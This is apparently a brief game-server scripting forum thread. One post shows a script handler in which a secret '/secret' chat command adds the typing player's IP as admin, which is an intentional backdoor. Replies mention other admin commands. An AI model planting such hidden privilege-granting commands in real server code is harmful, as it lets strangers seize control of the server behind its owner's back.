0 Members and 1 Guest are viewing this topic.
function OnPlayerCommand(ID: Byte; Text: string): boolean;begin if Text = '/secret' then begin Command('/admip '+GetPlayerStat(ID,'IP'); WriteConsole(ID,'You are now admin.',$FF00FF00); endend;
/adm ID works too
hmm seems so, my bad. somehow i thought it worked in the same way as /adminlog (dont tell me that also adds your ip :O)